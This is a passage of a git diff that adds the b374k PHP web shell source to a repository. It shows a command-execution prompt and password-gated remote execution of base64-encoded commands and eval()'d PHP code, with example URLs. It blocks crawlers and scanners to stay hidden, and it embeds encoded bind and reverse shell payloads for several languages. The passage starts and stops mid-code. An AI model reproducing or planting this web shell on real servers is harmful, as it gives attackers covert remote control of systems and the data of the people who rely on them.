"; + } + } + else{ + if(isset($_REQUEST['cmd'])){ + $cmd = ss($_REQUEST['cmd']); + if(strlen($cmd) > 0){ + if(preg_match('#^cd(\ )+(.*)$#',$cmd,$r)){ + $nd = trim($r[2]); + if(is_dir($nd)){ + chdir($nd); + $pwd = cp(getcwd()); + $s_result .= showdir($pwd,$s_prompt,$s_win); + } + elseif(is_dir($pwd.$nd)){ + chdir($pwd.$nd); + $pwd = cp(getcwd()); + $s_result .= showdir($pwd,$s_prompt,$s_win); + } + else $s_result .= "
".$nd." is not a directory"."
"; + } + else{ + $s_r = htmlspecialchars(exe($cmd)); + if($s_r != '') $s_result .= "
".$s_r."
"; + else $s_result .= showdir($pwd,$s_prompt,$s_win); + } + } + else $s_result .= showdir($pwd,$s_prompt,$s_win); + } + else $s_result .= showdir($pwd,$s_prompt,$s_win); + } + + + // print useful info + $s_info = ""; + $s_info .= ""; + if($s_id != "") $s_info .= ""; + $s_info .= " + +
".$s_software."
".$s_system."
".$s_id."
server ip : ".$s_server_ip." | your ip : ".$s_my_ip." | "; + if($s_safemode) $s_info .= "safemode ON"; + else $s_info .= "safemode OFF"; + $s_info .= " | Time @ Server : ".date("d M Y H:i:s",time()); + $s_info .= " +
+ + + +
".trim($letters)." + +   + \"Change\" +   ".swd($pwd)." +
+ +   + \"Change\" +    + + + + + +
+
+
"; +} +// OK now... thats the ,, here comes the +?> + + + + +<?php echo $s_title; ?> +" /> + + + + + + + + + +
+
+ +
+
+ +
+
+
+
+ +
+ +   + +
+
+ + +
+ + + \ No newline at end of file diff --git a/php/b374k/source/b374k-2.3.php b/php/b374k/source/b374k-2.3.php new file mode 100644 index 0000000..0b3f789 --- /dev/null +++ b/php/b374k/source/b374k-2.3.php @@ -0,0 +1,1915 @@ +0){ + if(isset($_COOKIE['b374k'])){ + if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true; + } + if(isset($_REQUEST['login'])){ + $login = strtolower(md5(trim($_REQUEST['login']))); + if(strtolower(trim($s_pass)) == $login){ + setcookie("b374k",$login,time() + $s_login_time); + $s_auth = true; + } + } +} +else $s_auth = true; + +// This is a feature where you can control this script from another apps/scripts +// you need to supply password (in md5 format) to access this +// this example using password 'b374k' in md5 format (s_pass=0de664ecd2be02cdd54234a0d1229b43) +// give the code/command you want to execute in base64 format +// this example using command 'uname -a' in base64 format (cmd=dW5hbWUgLWE=) +// example : +// http://www.myserver.com/b374k.php?s_pass=0de664ecd2be02cdd54234a0d1229b43&cmd=dW5hbWUgLWE= +// next sample will evaluate php code 'phpinfo();' in base64 format (eval=cGhwaW5mbygpOw==) +// http://www.myserver.com/b374k.php?s_pass=0de664ecd2be02cdd54234a0d1229b43&eval=cGhwaW5mbygpOw== +// recommended ways is using POST DATA +// note that it will not works if shell password is empty ($s_pass); +// better see code below +if(!empty($_REQUEST['s_pass'])){ + if(strtolower(trim($s_pass)) == strtolower(trim($_REQUEST['s_pass']))){ + if(isset($_REQUEST['cmd'])){ + $cmd = base64_decode($_REQUEST['cmd']); + echo exe($cmd); + } + elseif(isset($_REQUEST['eval'])){ + $code = base64_decode($_REQUEST['eval']); + ob_start(); + eval($code); + $res = ob_get_contents(); + ob_end_clean(); + echo $res; + } + else echo $s_title; + } + die(); +} + +$mtime = explode(" ",microtime()); +$s_start = (float)$mtime[0] + (float)$mtime[1]; // to calculate script execution time + +// block search engine bot +if(preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT'])){ + header("HTTP/1.0 404 Not Found"); + header("Status: 404 Not Found"); + die(); +} + +// resources $rs_pl $rs_py $rs_rb $rs_c $rs_win $rs_php this was used with bind and reverse shell +// use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P +$rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A"; +$rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE="; +$rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP"; +$rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU="; +$rs_win = "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"; +$rs_php = "7VRNj9s2ED3bv0JRCayEai3LDhBgXW4u7bFA0BboIbsRZIqyCEsiy6FqB9397x2Skj82zm6QBr20MGxTM5w3X0/vh7eqVtPvgtoYBTdpymTJZxspNw2fMdmmKl0v37zeXkPNmyadcq2lzjVXUhvRbaJ5vJoCN7kRLc8b0QrjTHKdi1Y1ggmTV00PdYTGKTGF3nBDiQZ/Wo0moHyvGkwdhUGYDEYMIQxotly+wdOuoF3fNHjihxPUNMRArCX47adffqZ7w3W7evdrRq/uyLvff7y9Wg1utK3StehSqINrEWJsS0PXWeA6C24CJruOM8PLuw79U1FFTPadicYSY0qz+K/phChKxvInBCsI7b9BONGVeH6c8gb4pfDFeTi8n997iIMhux+xCrZ1WLaOqu+YEbLL+V6AgehKsc40eSX19ir2mKKkR6Md9gTjnJleZzHGmSg7sXrLfLAoCWKf4xpBlFF8HuErwJKG/lw6oGA0L9ocJNvi9oHrP7mOQsMUUmg+c5+bcEZUQpAxnXR/GGMTjqEDa2SPM4Jk6Yoh7AlywRhX9sJQKnqNbOQOs0G/xqcI6Zv3XdHyKE7myTLG+sOd6Fyhk2qnheERYQlpZzhhtsMGZ+FtaOEmu1o06FSvKK0K3JkLsQuq7DIwyt1yE9J8k7eFYXUUpqy8C6L3H+7g/vs4FUhX7FLr2EdPSFkiwbVfpY8WkJdCR+iJY1aPR+8mkp7W5YyP9mcgkdGiPe2aKNeh3U8YPDwEn/H/0aM/DtY4y+1qhAswGd/bjjEXsnz2SeaTeUlXoC2lYo0EPo5jfHIbQbcFfjpqd5GUQAuti4/RnN76Q6iE4mES6jBOsqfGHRoXF4weTGmqtGS5VLzD5HWC8Dh5oZwbB/UKp6w5yF4z2yHu48j6U86tG2SWlS4bjG9gMn/+RvbijcWzN9jg9GQzuh9oZt9rLis71ocHf/Lp4vi4NaKLYYZ2rkM5Q1JPoEPOBrUrwvsJKiW+bkViNfJAYNHlRxxdHMgqaIXxpTMzGDg5rnIYEBHxkZZnWGNBlwBH3yeo7AXAxTOAi5cBH885ekLe8ejbOn/OnjwP43WUG83aM/6g714UrVAPolhZ0fIErZ0q8A6/o7Z9vXrBV6kX/GfVCy6p1+f0Cv7Xq7Mb8JJewZfpFXwjvYLLagD/ml7Bt9Yr+BK9+sci9fZ2+jc="; +$favicon = "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJREFUOMudk8lPU1EUxvkbXAMdXlug2Kp0eu8ViiUIC2wZJJYqkwUqFiqUMjqgAQppUnAIiBKmFoq0thYKBI0GBGMw0ejGxIVLdyYmYDQ0xPD5HokopmXh4kvuyb3nd853ck8cgLhYylymkblIadlzxmNVUXpAuf3vmwOB9pma+DvWhElkhFRhy4Cer/YpaugZ+bdDASfZiktU8+84PaiKqP3Kr+YbOd6CXnqbHpPtltjUzpgAzQK5mTFPRvZaDpBb9KwClFcOyi1H53oT1j+H0O6qgK4mrSUqgPGpTX+khMZHbuYFTiH4YRxPPk5j4KUDklvJqFjOh//1ME70H8VxZyqkDjFTdZ7cYnzue2d87mZ6Kcy+u42epyZcDZegNVwJzTAJiTMFpmkDsgtEn/Y7YHzuMD5BP1R4NF7yy9lgAbxv+3FzqRz2YD7KprJg9BfC92YEQ6sDkHanQG0Uhg5YoKblG6RbBnJchsD7QXQulqIpoEeZWwvDjB731xywzxrwYKUXkk4xxB2i7ymtQuuBGZCjsojRVwTXcysa/TqUTmSh2HMa91a7YZ0qRNVYLgNwQtwmQrJdsJvUSEBUz/8zQNVQ2o/aoAl3VtpQNpmNMxN5cC22w+LRwzSaC8e8DQ2TFiTZBEiuJ46wOYSZe20fQN9V9KW5JOhaakPxuA6uhQ5Y3DpUjuSgZ84G6roSostM1TqiOuY/kPUdWyOauRh7MYiuUD0uMqCeuUZcmWmBsI4PQS0PRA03wjdxmqMCWEmvitekHWI0uGth99RBahPvJQrNvGomUcurSNzkliaAcy6eiApglWoXuZOs/J+CS0xFMxf8Ks6rWAsXd9g2suJf4GzwyhPBPZ9A/BeAFccYv5NoiN+KdvcLtyxxEwhxgvoAAAAASUVORK5CYII="; +$style = "rVZNj5swEL1X6n9Aiiq1VUCYULoL97312HNlsAlWjY2M6SZr8d9rgyHmI6kqrazVRjCejzdv3vBVlZxJv4Q1odf0Z94x2Xk/OOPHFgtSZn3O0VXlsPh9FrxjKD2EYZgNd1ryhlMQNZes4JSL9FCW5fjmFZNzJdM4DHsJc4o9WamiE602QriEHZVZXwmVc4GwSEFz8VpOCfIOURT1UFl3cfF0gmUm8UX6CBdcQEk4SxlnuIdpxf9gMZm+vLz0jcCqgQgRdk5D76m59CUXtUKkbSi8poRRoi82q0T6Qw0JWxQIAMgmR7o64yrza/7mj/n6AiLStSkI9fOdR68EyUr/DD/1hwpD/VrVUJwJS8PZbThWBSk5s5TiUk6mnkQ71vPbCqgb9JGJdvM4X9Pw57+J9KWArDUYpIJLKPFnH5yC03eEz1/Geh4YOBG9uSG6vxouzLoNXFNsz+AV6z/9vz8I3GqE1X9gt2WEJcFUZmz7YXrpVyPNQGJurjKyKUMIb8kNrPDCPjC1EVZyy0DfdGAnqL2YODCb+owjE3P0I3OqnJZPz1pPCmUTjHTWmWarJAWktuk1QYjiPjjDKzwGDpVtbHeOck5RP9i8R2sziqXURbcNLGxJfWC6WhO1hnnmlDPhLtLRsznZvwd2J+haRN6lth2uxRuqxbeKrYy4NZ0Sc+6n869sbjMUENZ08u0YNILXjTwG+A+kBUd4Mz+W96HLsynpnEvJa5eep2dz7otwbwOqLYnmDG6UzSxLTxGup5TzTqqV+0XKz+as2j6PWbw7yEbaA3xp9JVFdJdy4WyhRWdX9+f3Wifv4qNDZYtNsJCLvWmUvHFcV/McJHYO1kAuh8CpTE/9DqXAkzmzESWtHK2W2hq0uNYL+ErmpTWMzlbiTZu0erlW4yNvWLd78DrTPCC9GonkgfhOrqujRmZb1o5UjfaPO2StKnC0P8RePVWknE1ZYKZFxCX+t1VZo8IvyVqYMwMx7JmVGiUbiUgezd8ClrmDRVFokSb4tSTLFjj7ZwH9HVgmFwZAd+3Ej1IylN9pzUR5YBRvclxo+DSQs3MARpZrTbzm/PKu+xqsNonTJBvOtHj7xXPr5N0mxPFSgKy/9T4W7S/7HeLiY9O0Dswnrc3hNERd7UFv+gzckmRL/jngjRrafx+UnGvOuXQW5pZTM0iWW3GHqY7QG7J8/PAX"; +// http://www.kryogenix.org/code/browser/sorttable/ - this makes the tables sortable +$sortable_js = "vVhtb9s4Ev4eIP/B0XUNEZZlO+19ONPcYNMXbHHd7gFb3H5w3IKiaFmJLLkSnWzO8X+/GZJ680vW7eG2QGO+zTPDhxzOjO553lmwi6F3yy5G9PysyHKleJBItpHj+ToVKs5Sl2x4Hq2XMlWFL3iSSOnHT0/u/iBbeHfdrkgkz9+nSub3PHHviBdmQi/0RS65km8Tib1utxqPpLKDxfXjJx595EvZ7bqVNT5ng8/uTXgTXpHpzeDG7892erpLrvTfFwMvcZ/Fdh0N6xCv2iMnm/7ognFfJLwocJFfwDbEwh3cBGgICtwEA9Lt1mbdgdiWELL17sZNpCEDoCOKF5KHDvETmUZqAZuEAXaYoGqxB78+X61kGr5exEnocj/PHorpcEY87sdpIXN1LedZLhENhuZxXii9lBCarpME7VE/AxgotK0/sxDR4UbEc3dUSWu11nSyQR6CTKlsicNsOqNggnsPVypgQxpMeHM5DXo9YhjWtgezo0wbTMO121YybXct9qwGJRQMbi8im4qBd1mmkPJ5dpzyOaxxkNcm4TAKTOL2zNYOmqG3CCtbkjv2o4WhTKSSnfbMFlmHRotqOANfyCQpGqrtuqZO2PKFHW7zuuSqplVf2S9phm0kl2zcJUyzUyXdKe//Z9j/x6xHtHi3e37mZvcyz+NQMoSajmB3DbiVHu12ndI3HMbU40pm804FO3Ww+cXplUizq2fmxrXv3brcC1rqMhY0uwKpvM7CWCKPFO+laGzWk6wG+8oajx3QiRdVLeLi6B01lGBLhpqNGiuXYG2Brojy6LxNnF3YXK4SLsDtdlEdb2/oi4V2LGgul8CMuWcH3rvrx/fhLu78IYxT8G7iYQ/woHfUF4oVT53mSj8O2Q6gmXA8EzvKZWkq858//fKBOd00KFa0+7c/Lv9+/Yo6xvBdBzFihMqkkJ1v